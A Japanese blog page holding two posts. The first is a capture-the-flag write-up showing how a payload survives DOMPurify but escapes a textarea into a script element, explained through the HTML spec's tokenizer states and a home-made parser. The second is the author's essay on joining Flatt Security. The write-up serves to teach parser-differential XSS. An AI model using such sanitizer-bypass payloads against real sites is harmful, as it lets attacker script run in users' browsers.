HTML パーサー自作で理解する Flatt Security XSS Challenge 1
最近、『[作って学ぶ]ブラウザのしくみ』という本を参考に自作ブラウザをちまちま作っている。今は HTML パーサーの章まで進めたところなのでまだブラウザと呼べるものではないものの。
ところで自作ブラウザの要素の一つとして HTML パーサーをせっかく作ったので、ずっと苦手意識を持っていた mXSS 的な問題の理解を、HTML パーサー自作を通して深めたいと思った。
去年の11月に公開された Flatt Security XSS Challenge の1問目はまさに、コンテキストの違いによる HTML パースのズレによって DOMPurify によるサニタイズを潜り抜けて XSS をする challenge だった。そこでこの challenge を題材に HTML パースの仕様に deep dive して、パース結果がズレるメカニズムを理解したいと思う。
Challenge と解法の概要
公式解説はこちら:
ユーザー入力を元に、以下の EJS テンプレートがレンダリングされる。<%- %> でコンテンツを挿入している箇所が2つあり、ここでは EJS によるエスケープはなされない。
<!-- index.ejs --> <html> <head> <title>✈️ Paper Airplane</title> <link rel="stylesheet" href="design.css"> </head> <body> <div class="card"> <h1>Paper Airplane</h1> <p class="message"><%- sanitized %></b></p> <form method="get" action=""> <textarea name="message"><%- sanitized %></textarea> <p> <input type="submit" value="View 👀" formaction="/" /> </p> </form> </div> </div> </body> </html>
しかし挿入される変数名が sanitized であることから推測できるように、エスケープされずに挿入されるコンテンツは、ユーザー入力 message に対して DOMPurify がサニタイズをした結果である。
// index.js
app.get('/', (req, res) => {
const message = req.query.message;
// ...
const sanitized = DOMPurify.sanitize(message);
res.view("/index.ejs", { sanitized: sanitized });
});
したがって、<script>alert(origin)</script> のような自明なペイロードは、DOMPurify によって無害化されてしまう。
解答は、ユーザー入力 message として以下のペイロードを送信することである。
<p id="</textarea><script>alert(origin)</script>"></p>
上記の文字列を DOMPurify でサニタイズすると、同じ文字列がそのまま出てくる。これは DOMPurify のデモページ で手軽に確認できる。
サニタイズの結果文字列が変化しなかったのは当たり前のように思える。上記の HTML は、「p タグであり、id 属性が </textarea><script>alert(origin)</script> であるような要素」を表すからだ。
それにもかかわらず、上記ペイロードはスクリプトを実行させることができる。script タグが出現してしまうのはテンプレート中の以下の挿入箇所である。
<textarea name="message"><%- sanitized %></textarea>
ここにサニタイズ結果を挿入すると、次のようになる。
<textarea name="message"><p id="</textarea><script>alert(origin)</script>"></p></textarea>
実は、この HTML をブラウザは以下のように解釈してしまう。
- textarea 開始タグ
<textarea name="message"> - textarea 要素内のテキストコンテンツ
<p id=" - textarea 終了タグ
</textarea> - script 開始タグ
<script> - script 要素内のテキスト
alert(origin) - script 終了タグ
</script> - テキストコンテンツ
"> - p 終了タグ
</p> - textarea 終了タグ
</textarea>
その結果 DOM ツリーは以下のようになる。
flowchart LR
root(" ") --> textarea["textarea<br>name=message"]
textarea --> textarea_content("text<br><p id="")
root --> script
script --> script_content("text<br>alert(origin)")
root --> root_content("text<br>">")
root --> p
このパース結果のポイントは、<textarea name="message"><p id="</textarea> の部分の解釈が「textarea 要素の子要素となる p 開始タグの中で属性 id を記述している途中」ではなく、「<textarea> と </textarea> の間に、テキストコンテンツ <p id=" が挟まれている」となることである。
一方で、ユーザー入力を取り囲んでいたタグが textarea ではなく例えば div だった場合は、上記の挙動は起こらない。<div><p id="</div><script>alert(origin)</script>"></p></div> をパースすると、問題の箇所は「p タグであり、id 属性が </div><script>alert(origin)</script> である要素」として解釈される。
外側のタグが textarea か div かでこのような違いが生まれるのはなぜだろうか。
本題に入る前に、パーサーに深入りしない説明を書いておく。
HTML Living Standard の 13.1 Writing HTML documentsにおいて、textarea は escapable raw text elements というカテゴリ、div は normal elements というカテゴリに含まれる。
Escapable raw text elements の中に含めることができるものは、以下のように言及されている。
Escapable raw text elements can have text and character references, but the text must not contain an ambiguous ampersand. There are also further restrictions described below.
(略)
The text in raw text and escapable raw text elements must not contain any occurrences of the string "</" (U+003C LESS-THAN SIGN, U+002F SOLIDUS) followed by characters that case-insensitively match the tag name of the element followed by one of U+0009 CHARACTER TABULATION (tab), U+000A LINE FEED (LF), U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), U+0020 SPACE, U+003E GREATER-THAN SIGN (>), or U+002F SOLIDUS (/).
一方 normal elements については次のように述べられている。
Normal elements can have text, character references, other elements, and comments, but the text must not contain the character U+003C LESS-THAN SIGN (<) or an ambiguous ampersand.
Normal elements の中には他の要素やコメントを書くことができるが、escapable raw text elements の中にそれらを書くことはできない。また、normal elements の中でテキストを書く際には、< を書いてはいけない。タグの先頭と誤解されてしまいかねないからだ。一方で escapable raw text elements の中でテキストを書く際の制約はもう少し寛容である。例えば textarea 要素の中のテキストとして </textarea> と書いてはいけないが、</ の直後の文字列が textarea 以外であれば許容される。つまり、textarea 内のテキストとして、<p id=" という文字列を書くことは許されているのだ。
さて、このようなパースの違いがどのように実現されているのか、HTML パース処理の仕様を見ていこう。
HTML パーサーの中を覗く
これまで説明したパースの挙動を、自作 HTML パーサーで再現することで理解を深めたいと思う。
ただ、この challenge の HTML は色々な HTML タグを利用していて、自作 HTML パーサーでそれら全てのパースに対応するのは、ちょっと骨が折れる。そこで Challenge と同様の挙動を再現できる以下の HTML を用意した。このパースができるよう、自作 HTML パーサーを拡張した。
<html> <head> </head> <body> <p id="</textarea><script>alert(origin);</script>"></p> <textarea name="message"><p id="</textarea><script>alert(origin);</script>"></p></textarea> </body> </html>
パース結果:1
|- Document
|- Element(Element { kind: Html, attributes: [] })
|- Element(Element { kind: Head, attributes: [] })
|- Text("\n")
|- Element(Element { kind: Body, attributes: [] })
|- Element(Element { kind: P, attributes: [Attribute { name: "id", value: "</textarea><script>alert(origin);</script>" }] })
|- Element(Element { kind: Textarea, attributes: [Attribute { name: "name", value: "message" }] })
|- Text("<p id=\"")
|- Element(Element { kind: Script, attributes: [] })
|- Text("alert(origin);")
|- Text("\">")
|- Element(Element { kind: P, attributes: [] })
確かに、HTML の4行目は「p タグであり、id 属性が </textarea><script>alert(origin)</script> であるような要素」として解釈され、<textarea> で囲われている5行目は「<textarea> と </textarea> の間に、テキストコンテンツ <p id=" が挟まれている」と解釈されている。
パース処理の仕様は HTML Living Standard 13.2 Parsing HTML documents に定義されている。パースの主な処理は、tokenization stage と tree construction stage に分けられる。Tokenization stage は文字列をトークンの列に変換し、tree construction stage はトークンの列から DOM を構築する。どちらの stage もそれぞれ state machine を持っていて、文字やトークンを消費して自身の状態を変える。なお、tree construction stage は自身の状態だけでなく、tokenization stage の状態を変更することもあることに注意が必要だ。大域的には、2つの stage を独立に捉えることはできない。
件のペイロードの挙動は、幸い tokenization stage にのみ注目するので十分だ。<p id="</textarea><script>alert(origin)</script>"></p> の部分をパースする間は、「tree construction stage が tokenization stage の状態を変える」ステップは存在しない。
まず、 <textarea> で囲われていない5行目をパースするときの、tokenizer の挙動を見ていこう。Tokenizer が <p id="... の先頭を読む直前では、tokenizer は data state にある。その後の状態遷移は以下の通り:
| state | input | next state | emit | draft token | note |
|---|---|---|---|---|---|
| data | < |
tag open | |||
| tag open | p |
tag name | start tag | reconsume | |
| tag name | p |
tag name | start tag name: p |
||
| tag name | |
before attribute name | start tag name: p |
||
| before attribute name | i |
attribute name | start tag name: p |
reconsume | |
| attribute name | i |
attribute name | start tag name: pattributes: - i |
||
| attribute name | d |
attribute name | start tag name: pattributes: - id |
||
| attribute name | = |
before attribute value | start tag name: pattributes: - id |
||
| before attribute value | " |
attribute value (double-quoted) | start tag name: pattributes: - id |
||
| attribute value (double-quoted) | </textarea><script>alert(origin);</script> |
attribute value (double-quoted) | start tag name: pattributes: - id : </textarea><script>alert(origin);</script> |
どの文字も同じ遷移をするので、この表では1行にまとめた | |
| attribute value (double-quoted) | " |
after attribute value (quoted) | start tag name: pattributes: - id : </textarea><script>alert(origin);</script> |
||
| after attribute value (quoted) | > |
data | start tag name: pattributes: - id : </textarea><script>alert(origin);</script> |
||
| data | < |
tag open | |||
| tag open | / |
end tag open | |||
| end tag open | p |
tag name | end tag | ||
| tag name | p |
tag name | end tag name: p |
||
| tag name | > |
data | end tag name: p |
Tokenizer は <p id="... の部分について、まず < を読んでタグの始まりを認識し、tag open state に遷移する。そして p を読んで開始タグのタグ名部分を認識し、空白文字まで読んでタグ名の終了を認識する。その後属性や開始タグの末尾も認識し、「id 属性が </textarea><script>alert(origin)</script> である p 開始タグ」というトークンを出力する。
一方、<textarea> で囲われている6行目のペイロード部分における、tokenizer の挙動を見ていく。Tokenizer が <textarea> まで読み終えて <p id="... をこれから読むというタイミングでは、tokenizer は data state ではなくRCDATA state にある。その後の状態遷移は以下の通り:
| state | input | next state | emit | draft token | note |
|---|---|---|---|---|---|
| RCDATA | < |
RCDATA less-than sign | |||
| RCDATA less-than sign | p |
RCDATA | char < |
reconsume | |
| RCDATA | p |
RCDATA | char p |
||
| RCDATA | |
RCDATA | |||
| RCDATA | i |
RCDATA | |||
| RCDATA | d |
RCDATA | |||
| RCDATA | = |
RCDATA | |||
| RCDATA | " |
RCDATA | char " |
||
| RCDATA | < |
RCDATA less-than sign | |||
| RCDATA less-than sign | / |
RCDATA end tag open | |||
| RCDATA end tag open | t |
RCDATA end tag name | reconsume | ||
| RCDATA end tag name | t |
RCDATA end tag name | end tag name: t |
||
| RCDATA end tag name | e x t a r e a |
RCDATA end tag name | end tag name: textarea |
どの文字も同じ遷移をするので、この表では1行にまとめた | |
| RCDATA end tag name | > |
data | end tag tag: textarea |
Tokenizer はまず < を読み、RCDATA less-than sign state に遷移する。次に p を読むと、なんと文字トークン < を出力して RCDATA state に戻ってしまう。< という文字を、タグの開始ではなく、< という文字そのものとして解釈してしまったのだ。その後も、<p id=" の部分を文字列リテラルとして解釈していってしまう。
次に読む文字は </textarea> の先頭にある < で、また RCDATA less-than sign state に遷移する。/ を読むと、今度は RCDATA end-tag open state に遷移する。その次に t を読み、終了タグのタグ名を認識する状態に遷移する。そして textarea の残りの部分を1文字ずつ読み進める。最後に RCDATA end tag name state の状態で、入力文字が > であるときの処理は、以下のように定義されている。
U+003E GREATER-THAN SIGN (>)
If the current end tag token is an appropriate end tag token, then switch to the data state and emit the current tag token. Otherwise, treat it as per the "anything else" entry below.
Appropriate end tag token であるとは、今認識している終了タグのタグ名が、直近の開始タグのタグ名と合致していることとして定義されている。今回の場合、直近の開始タグは <textarea> であるから、appropriate end tag token とは、まさに textarea の終了タグである。
したがって tokenizer は > を読むと、終了タグ </textarea> を表すトークンを出力して data state に遷移する。そして、<script> 以降を script 要素として解釈してしまうのである。
運命の分かれ目は、< の後に続く p を読んだ時の処理であるといえよう。< を読み終わった後の state は、5行目のケースでは tag open state, 6行目のケースでは RCDATA less-than sign state であった。それぞれの state で tokenizer がすべき処理は以下のように異なる。
13.2.5.6 Tag open state
Consume the next input character:
- U+0021 EXCLAMATION MARK (!)
- Switch to the markup declaration open state.
- U+002F SOLIDUS (/)
- Switch to the end tag open state.
- ASCII alpha
- Create a new start tag token, set its tag name to the empty string. Reconsume in the tag name state.
- U+003F QUESTION MARK (?)
- This is an unexpected-question-mark-instead-of-tag-name parse error. Create a comment token whose data is the empty string. Reconsume in the bogus comment state.
- EOF
- This is an eof-before-tag-name parse error. Emit a U+003C LESS-THAN SIGN character token and an end-of-file token.
- Anything else
- This is an invalid-first-character-of-tag-name parse error. Emit a U+003C LESS-THAN SIGN character token. Reconsume in the data state.
13.2.5.9 RCDATA less-than sign state
Consume the next input character:
- U+002F SOLIDUS (/)
- Set the temporary buffer to the empty string. Switch to the RCDATA end tag open state.
- Anything else
- Emit a U+003C LESS-THAN SIGN character token. Reconsume in the RCDATA state.
Tag open state は < の後に来る文字として !, /, アルファベットなどに関心がある。それぞれコメント、終了タグ、開始タグに関連する文字である。一方で、RCDATA less-than sign state は / にしか関心がなく、/ 以外の文字が来ると、< という文字そのものを表すトークンを出力して RCDATA state に戻ってしまう。RCDATA end tag name state における appropriate end tag token のチェックからも分かるように、RCDATA less-than sign state から始まる状態遷移では、textarea の終了タグを認識することにしか関心がない、という捉え方ができる。
ここで escapable raw text element の仕様を再掲すると、RCDATA 系の状態遷移系列との対応が見て取れる。
The text in raw text and escapable raw text elements must not contain any occurrences of the string "</" (U+003C LESS-THAN SIGN, U+002F SOLIDUS) followed by characters that case-insensitively match the tag name of the element followed by one of U+0009 CHARACTER TABULATION (tab), U+000A LINE FEED (LF), U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), U+0020 SPACE, U+003E GREATER-THAN SIGN (>), or U+002F SOLIDUS (/).
以上で、<textarea> に囲まれているかどうかで HTML パーサーがどのような異なる挙動をするのかを、より詳細に理解できた。ところで、そもそも <textarea> で囲まれている場合の初期状態がなぜ data state ではなく RCDATA state なのかの説明を飛ばしていたので、ここを明らかにする。
結論から言えば、textarea 開始タグを表すトークンを消費した tree construction stage が、tokenizer の state を書き換えたためである。パース処理の概要説明にて「tree construction stage は自身の状態だけでなく、tokenization stage の状態を変更することもある」と述べたが、それがここで起きていたのだ。
textarea 開始タグを消費する直前で、tree construction stage の state machine の状態 (仕様書では insertion mode と記載されている) は "in body" insertion mode である。この mode で textarea 開始タグを受け取った時の処理は以下のように定義されている。
When the user agent is to apply the rules for the "in body" insertion mode, the user agent must handle the token as follows: (略)
- A start tag whose tag name is "textarea"
- Run these steps:
- Insert an HTML element for the token.
- If the next token is a U+000A LINE FEED (LF) character token, then ignore that token and move on to the next one. (Newlines at the start of textarea elements are ignored as an authoring convenience.)
- Switch the tokenizer to the RCDATA state.
- Let the original insertion mode be the current insertion mode.
- Set the frameset-ok flag to "not ok".
- Switch the insertion mode to "text".
一方で、textarea ではなく div の開始タグを受け取った場合の処理には、tokenizer の state を書き換える処理はない。
- A start tag whose tag name is one of: "address", "article", "aside", "blockquote", "center", "details", "dialog", "dir", "div", "dl", "fieldset", "figcaption", "figure", "footer", "header", "hgroup", "main", "menu", "nav", "ol", "p", "search", "section", "summary", "ul"
- If the stack of open elements has a p element in button scope, then close a p element.
- Insert an HTML element for the token.
開始タグが textarea かどうかで tokenizer の state が変化するため、後続する文字列の字句解析結果が別物となったのだ。
まあなんというか、「textarea の子要素はフォームの入力値として扱われるから、子要素を書きたいシチュエーションはない」は納得できるが、「textarea の子はテキストノードのみであり、それはパース後のバリデーションではなく字句解析処理の変化によって保証される」というのは驚きである。そして字句解析処理の state を tree construction stage が変更するのもまた驚きである。Tokenization state 側で、「textarea 開始タグを出力する際は、RCDATA state に遷移する」という遷移規則にしておく方が直感的ではなかろうか。しかし、そういうタグ名ごとに分岐する判断は、全て tree construction stage の責務としよう、というような意図があるのだろうか。仕様はそこそこ理解できたが、その背景まではまだ腑に落ちていない。
感想
Flatt Security XSS Challenge の解説で得た学びは、「textarea は escapable raw text element であり、</textarea> が出現するまでテキストとして解釈されてしまう」というものであった。これよりも汎用的・体系的な理解をしたくて HTML パース処理の仕様に飛び込んだが、「複雑すぎて体系も何もないのではないか」というのが今のところの正直な感想である。
とはいえ、パースの仕組みについては以前よりも理解が深まった。特に、tokenizer state や insertion mode をはじめとするパーサーの状態に着目することは、パーサーの挙動を利用した XSS に気づく・理解する手掛かりになるのではないかと予想している。
しかし、この記事はたった1つの challenge を深掘りしたに過ぎない。mXSS で使われるパーサーの変わった挙動は他にも色々ある。今後も色々な mXSS のペイロードを自作パーサーに突っ込んで、mXSS の原理に対する理解を深めていきたい。ひょっとしたらそのうちに、HTML パーサーの気持ちがわかるようになるかもしれない。続編に乞うご期待 書きました:
blog.pizzacat83.com
- 4行目に改行文字のテキストが入っているのはおかしい気がするが、まだ原因を見つけられていない。↩
Flatt Security に入社しました
2020 年より約 4 年間長期インターンとして携わってきた Flatt Security に、2024 年 4 月 1 日付で正社員として入社しました。この記事では、Flatt Security への入社を決意した理由を振り返り、これから取り組みたいことを表明します。
セキュリティとの邂逅からこれまでを振り返る
私がセキュリティという分野に出会ってからこうして入社するまでにはさまざまな出来事があり、それらの経験によって私のセキュリティに対する関心や情熱が形成されてきました。ここではセキュリティに出会ってからそれに本気で向き合いたいと思うようになった経緯や、セキュリティエンジニアから開発エンジニアへ転向した理由などを振り返ります。
セキュリティへの技術的興味から開発者としての当事者意識へ
私がプログラミングを始めたのは中学2年の頃ですが、当時はゲームや bot の開発、自然言語処理などを主にやっていて、セキュリティの勉強を始めるのはその6年ほど後でした。セキュリティに出会ったきっかけは、私が所属していた大学サークル TSG が SECCON で優勝したことです。それまでセキュリティについてあまり触れてこなかった私は、「CTF で世界一を取ったチームがこんなにすぐそばにいるなら、この機会に CTF を始めてみよう」と思い、優勝メンバーが開催してくれた CTF 入門勉強会に参加し始めました。最初の勉強会は pwn の入門で、「C 言語をコンパイルしてできたバイナリって、人間に読めるの!?」という衝撃から始まったことを記憶しています1。その後 web や crypto の勉強会に参加したり、常設 CTF を少しずつ解き進めたりしました。現在 Flatt Security の CTO である米内さんは TSG のメンバーでもあり、米内さんが開催した CSS Injection の勉強会に参加したこともありました。
こうして初めは単なる技術的興味から CTF を勉強していましたが、大学 2 年の夏に起きた 7pay 事件を機に、開発者としてセキュリティへの当事者意識を持つようになりました。サービス開始からわずか数日で不正利用が明らかになり、そのままサービス終了へ至ったことに、プログラミングを趣味としていた私は強烈な衝撃を受けました。もし私が開発したものに似たようなことが起きたら、つまり私が丹精を込めてコツコツ開発してようやくリリースに漕ぎ着けたプロダクトが、リリース直後にセキュリティ上の問題が発覚してそのままお蔵入りにせざるを得なくなったら、あまりにも悔しいだろうと思いました。せっかく磨き上げたプロダクトが、ニーズではなくセキュリティ上の問題によって再起不能になるのは、あまりにももったいないと思うのです。
その年の冬、Flatt Security の創業者であり TSG のメンバーでもある井手さんに、セキュリティエンジニアとしての長期インターンのお誘いをいただきました。「開発者としてセキュリティをしっかり勉強しなければ」と思っていた私にとって、Web サービスのセキュリティ診断をするという経験はとても魅力的でした。また会社の当時のミッション2である「セキュリティの力で信頼をつなげ、クリエイティブな社会を実現する」というフレーズは、「手塩にかけて作ったプロダクトがセキュリティ上の問題でコケないようにしたい」という私の考えに共鳴するものでした。このような理由から、私は Flatt Security でのインターンを決断しました。
インターンで芽生えた課題意識
「セキュリティの知識を身に付けたい」という理由で始めたインターンでしたが、実際にセキュリティ診断に携わると、世の中のプロダクト開発におけるセキュリティにおける理想と現実のギャップを感じるようになりました。そして現実を理想に近づけていくためには従来のワンショットのセキュリティ診断では限界があり、もっと開発組織と近い距離感で、開発サイクルに伴走してプロダクトのセキュリティに携わる必要があると考えるようになりました。
診断で深刻な脆弱性を発見したことは何度もありましたが、私が脆弱性を発見したということは、その脆弱性が生まれてから診断時点までにずっと見過ごされてきたことを意味します。開発者がコードを書いた時点やプルリクエストをレビューした時点で、どうしてそれらの脆弱性は気づかれなかったのでしょうか。脆弱性が見過ごされたままプルリクエストがマージされるという構造を根本的に解決したいと思うものの、診断エンジニアに見えるのは出来上がったプロダクトだけで、その背後にある開発組織にアプローチできないことに歯痒さを感じていました。
開発組織が自力で多くの脆弱性を見つけられるようにしたいと考えている理由はもう一つあります。それは、プロダクトを作った人たちだからこそ効率的に脆弱性を見つけられるはずだということです。セキュリティ診断ではもちろんセキュリティの知識が求められますが、診断対象のプロダクト特有の知識と合わせてこそ効率的な検査や精緻なリスク評価が可能になります。例えば診断対象のシステムの挙動に合わせてうまく自動診断ツールを繋ぎ込む実装は、診断における重要な仕事の一つです。さらに、ビジネスロジックの脆弱性と呼ばれるものについては、そもそも「問題視される挙動とは何か」を診断対象サービスごとに考える必要があります。例えば「ユーザーの実名が閲覧可能」という事象は、実名制の Web サービスでは正常な挙動ですが、ハンドルネーム制の Web サービスであれば個人情報の漏洩となります。このようにプロダクトの仕様や特性を把握することは高品質なセキュリティ診断に不可欠であり、Flatt Security における診断工程でも、脆弱性を探す前にシステムの正常系を理解するところから始まります。一方で開発組織のメンバーであれば、プロダクトを既に熟知しているのでオーバーヘッドなく効果的に脆弱性を調査できるのではないかと思うのです。外部の視点だからこそ先入観を排除して脆弱性を見つけられるという意見もあり、私はそれを否定することはしませんが、ベンダーの立場で診断に携わってきた経験から感じるのは、プロダクトを熟知していれば見つけやすい脆弱性も少なくないということです。
コードが書かれてから診断で脆弱性が見つかるまでのタイムラグにも課題を感じていました。特に機能の仕様そのものや根本的な設計の問題に起因する脆弱性が見つかった場合、診断報告書で提案する修正方法は仕様や設計の根本的な変更を求めるものとなりがちですが、一度作ったものを設計段階から作り直すのは手戻りコストがかかります。その度に、「仕様策定や設計の段階でセキュリティエンジニアが携わっていれば、手戻りはもっと小さかったのに」と悔しく思っていました。
近年の開発スタイルの進化と旧来のセキュリティ診断との間のミスマッチを感じることもありました。例えばイテレーティブな開発スタイルが普及してきたのにもかかわらず、セキュリティ診断の実施頻度がそれより遥かに低いという点です。診断の過程で脆弱性を発見して再現手順と合わせて報告したものの、報告書がお客様に読まれるまでの間にプロダクトのリリースがあって、その変更によって再現手順が動かなくなってしまうこともありました。つまり、プロダクトは刻々と変化していくのにもかかわらず、従来のセキュリティ診断がそのスピードについていけていないのです。また、一度セキュリティ診断をして脆弱性を一通り洗い出したとしても、その後すぐにプロダクトは変化していき、その変化の過程で新しい脆弱性が埋め込まれてしまうかもしれません。このように日々生まれるかもしれない脆弱性に対応するには、低頻度のセキュリティ診断ではタイムラグが大きすぎると感じていました。
以上の課題意識を裏返すと、私が考えるプロダクトセキュリティの理想状態は次のようなものです。コードを書いた時点やプルリクエストをレビューする時点などで、開発組織が自力でほとんどの脆弱性を見つけている。プロダクトは日々変化するものの、継続してセキュアな状態が保たれている。ベンダーによるセキュリティ診断で報告される脆弱性は、専門的なスキルや外部視点がなければ検出できないようなものだけである。これをベンダー側の立場から見ると、セキュリティエンジニアは難度の高い脆弱性の調査により多くの時間を割くことができ、時間あたりの提供価値を高めることができるはずです。プロダクトを熟知している開発組織とセキュリティの専門性が高いベンダーがそれぞれの強みを活かしてプロダクトのセキュリティを保っている状態を私は目指しています。
プロダクトセキュリティの理想を追求したいからこそ、開発エンジニアを志す
インターンでセキュリティ診断に携わったことで、プロダクトセキュリティに関する以上のような課題意識を、推測ではなく実感として持つようになりました。Flatt Security ももちろんこういった課題を乗り越えるため、開発組織に寄り添ったサービスを提供できるよう探求し続けています。私も開発組織におけるプロダクトセキュリティのあり方を抜本的に革新したいと思っていたものの、それを考えるには開発組織に関する知識が自分に不足していると感じていました。開発サイクルに伴走するサービスを考えたくても、そもそも開発サイクルというものへの解像度が足りていないのです。
就職について考え始めた修士 1 年の春、私は開発エンジニアとしてプロダクト開発に携わりたいと考えていました。自ら開発を手がけることでプロダクトが作られる現場を知り尽くし、そのセキュリティを理想状態へ持っていくために開発サイクルのあらゆるプロセスを改革したいと考えていました。
ちなみに開発エンジニアを志望したもう一つの背景として、そもそもソフトウェア作りが好きであることがあります。Flatt Security でインターンを始めた動機も「自分が開発したソフトウェアをセキュアにするための知識が欲しい」であり、最終目的はソフトウェアを作ることでした。したがって私のキャリアの中心はソフトウェア開発であるはずで、そうしたキャリアのためには開発者としての実務経験が有利に働きます。当時の私はセキュリティエンジニアとしての経験や、内製のセキュリティ診断プラットフォームの開発経験はあったものの、開発者としてのキャリアを築くにはもう少し本格的な開発経験が欲しいと感じていました。
こうして開発エンジニアへの転向を決意したわけですが、就職先として当初考えていたのはいわゆるメガベンチャーと呼ばれるような企業でした3。様々なプロダクトを抱える企業であれば、多様な開発組織のあり方に触れることができるというのが一つの理由です。また開発者として成長する上でも、様々な領域のスペシャリストが集うメガベンチャーは魅力的な環境です。Flatt Security ではメガベンチャーを経て中途入社した社員もおり、そういった社員がそれまでのキャリアで培ったスキルや人脈などを Flatt Security で役立てている姿も、私がファーストキャリアにメガベンチャーを選ぶ後押しとなりました。
Flatt Security への入社を決意した 2 つの転機
就職を考え始めた頃はメガベンチャーで開発エンジニアとして働くことを考えていましたが、その年の夏に 2 つの転機が訪れます。
1 つ目の転機は、「未来会議」という社内イベントです。これは 0→1 から 1→100 のフェーズに移りつつある Flatt Security において、事業をどのように進化させれば非連続的な成長を達成できるかを事業部全体で考える社内ビジネスコンテストのようなものです。診断サービスに直接関わるセキュリティエンジニアや営業・PM のみならず、人事や総務などのメンバーも参加し、いくつかのチームに分かれて事業のアイデアを 2 日間じっくり議論しました。そこで私は先述したプロダクトセキュリティへの課題意識をぶつけ、Flatt Security として何ができるかをチームメンバーと議論しました。
この社内イベント「未来会議」を通じて、私は「Flatt Security の今が面白い」と感じました。Flatt Security の非連続的な成長に携われるのは今であって、5〜10年後では同じ経験はできないでしょう。つまり、メガベンチャーでしばらく働いた後に Flatt Security に戻ってきたとしても、「未来会議で感じた今の Flatt Security の面白さ」「事業を 1→100 に成長させる経験」は体験できないのかもしれないのです。
このイベントを通じて強く印象に残ったもう一つのことは、プロダクトセキュリティのあり方に変革を起こす上での Flatt Security の強さです。私はそれ以前にも大学の授業などでビジネスコンテストに参加したことがありましたが、「これならうまくいくはずだ」「これを積極的に推し進めたい」と思える事業アイデアはなかなか作れませんでした。一方で、この社内ビジネスコンテストで各チームが考えたアイデアはどれも魅力的で、説得力のあるものでした。全てのチームが強いアイデアを出せた背景としては、次のような事柄があると私は考えています。
- プロダクトセキュリティにおける課題意識が想像に基づいたものではなく、診断サービスなどの提供を通じてお客様の現実のセキュリティ課題に向き合って培われたものであること
- 他社がこれまでやってこなかったチャレンジングな事業アイデアでも、それを可能とする優秀で熱意のあるメンバーが揃っていること
- 新しいサービスが受容されるために必要な信頼・ブランド力・顧客基盤が、これまでの診断サービスの提供によって蓄積されていること
私の以前の考えは、「Flatt Security を出てプロダクト開発組織に入り、自分でセキュリティを推し進めていく」というものでした。一方でこの未来会議で見せつけられたのは、Flatt Security というチームは、プロダクトセキュリティのあり方を革新する上で個人より遥かに強い武器を持っているということでした。
私が Flatt Security への入社を決意した 2 つ目の転機は、Flatt Security が開発しているセキュリティプロダクト「Shisho Cloud」のチームに参加したことです。つまり、Flatt Security の内部でセキュリティ診断からプロダクト開発へジョブチェンジしたことになります。私が開発エンジニアとしての就職を考えていた理由の一つは開発者としての実務経験を積むことでしたが、Shisho Cloud の開発に携わるうちに、ここで活躍できれば自信を持って実務経験のある開発者を名乗れると感じるようになりました。
そして私が Shisho Cloud のチームに参加したのは、Shisho Cloud が正式リリースされる直前でした。つまり Shisho Cloud というプロダクトのコア機能に携われる機会が、今ならたくさんあるのです。実際これまでに、GitHub Actions から Shisho Cloud にログインするための OIDC ベースの認証機構や、セキュリティポリシーを記述した TypeScript コードを Shisho Cloud 上で実行する基盤づくりなど、技術的に奥深い領域に携わることができましたし、これからも面白いチャレンジが待っています。
Flatt Security の今
私が Flatt Security への入社を決意したのは 1 年ほど前です。前節で述べた「Flatt Security の今の面白さ」は 2023 年春時点のものであり、執筆時点の Flatt Security には新たなチャレンジが待っています。
2023 年 7 月よりセキュリティ診断に対するソースコード診断の無償付帯という施策を打ち出し、セキュリティエンジニアがソースコード情報を活用することで、診断の効率や診断報告書の品質を高めてきました。ソースコード情報を効果的に診断に用いる工夫には、まだまだ探求の余地があると私は思っています。
また、ChatGPT を始めとする生成 AI 技術は、近年急速に普及してきたものの、セキュリティ診断を始めとするプロダクトセキュリティ領域でその活用はまだ発展途上にあると考えています。セキュリティサービスではお客様の環境の脆弱性情報など様々な秘密情報を取り扱うため、生成 AI やそれを提供するプラットフォームに由来するリスクを把握して適切な利用方法を編み出さなければなりません。このような制約下で生成 AI を用いてセキュリティサービスの進化を探求する試みは、今まさにアツいチャレンジです。
そして先日 Flatt Security は 10 億円の資金調達を行い、合わせて GMO インターネットグループに参画しました。
私がグループ参画を知ったのは入社を決めた後でしたが、Flatt Security でプロダクトセキュリティの理想を追求していきたいという考えに変わりはありません。そう言い切れるのは、Flatt Security がこれまで大事にしてきた価値観がこれからも保たれていくからです。高度な専門性とエンジニアリングを武器にすること。これまで提供してきたサービスの現状維持に甘んじず、本質的に価値のあるセキュリティサービスを追求し続けること。そして倫理観——自らの専門性を悪用しないだけでなく、専門性を正しく活かして世の中のために役立てること。Flatt Security をここまで成長させてきたこれらのコアは、これからも我々を駆動し続けます。
Flatt Security に限らず、会社というものは時間と共に変化していきます。時代が急速に変化していることを考えれば、変化は生存戦略として当然のことです。他社でも企業が合併したり、経営陣が交代したり、志望していた部署がなくなったり、憧れの先輩社員が転職したり、こういったことが就職活動を始めてから入社するまでに起き得ます。そういった不確実性を踏まえてファーストキャリアを選ぶには、会社の背骨をなす軸というものが一つの観点となるでしょう。これほどのビッグイベントを経ても Flatt Security が Flatt Security であり続けたからこそ、これからも長いスパンで私と Flatt Security は同じ志を持って前進していけると思っています。
グループ参画で得られたものは、10 億円の資金だけではありません。特に私が期待しているのは、グループ内のエンジニアとの横の繋がりです。グループが抱える様々なサービスの開発に携わるエンジニアとの交流を深め、それぞれが抱えるセキュリティ上の課題により解像度高く向き合うことができればと考えています。またソフトウェア開発において私より高い専門性を持つ方もグループ内にたくさんいらっしゃるでしょうから、そういった方から刺激を受けることができれば幸いです。
Flatt Security で取り組みたいこと
先述したように、私が開発エンジニアへの転向を決めた理由は、「開発組織の内側からプロダクトセキュリティを理想に近づけていきたい」「開発者としてキャリアを築くために実務経験が欲しい」というものでした。後者については、1 年半以上 Shisho Cloud の開発に携わったことにより達成されつつあると感じています。これからは前者、つまり Shisho Cloud そのものをセキュアに開発するための施策にも取り組み、プロダクトセキュリティの理想を追求していきます。これまでにも新機能の設計時にセキュリティ上の懸念事項を議論したり、プルリクエストに対してセキュリティ観点を含めたレビューをしたりしてきましたが、これからも開発サイクルの様々な工程に対して有効なアプローチを探求し続けます。もちろん、セキュリティプロダクト Shisho Cloud の提供を通じて世の中の開発組織のセキュリティにも貢献していきます。
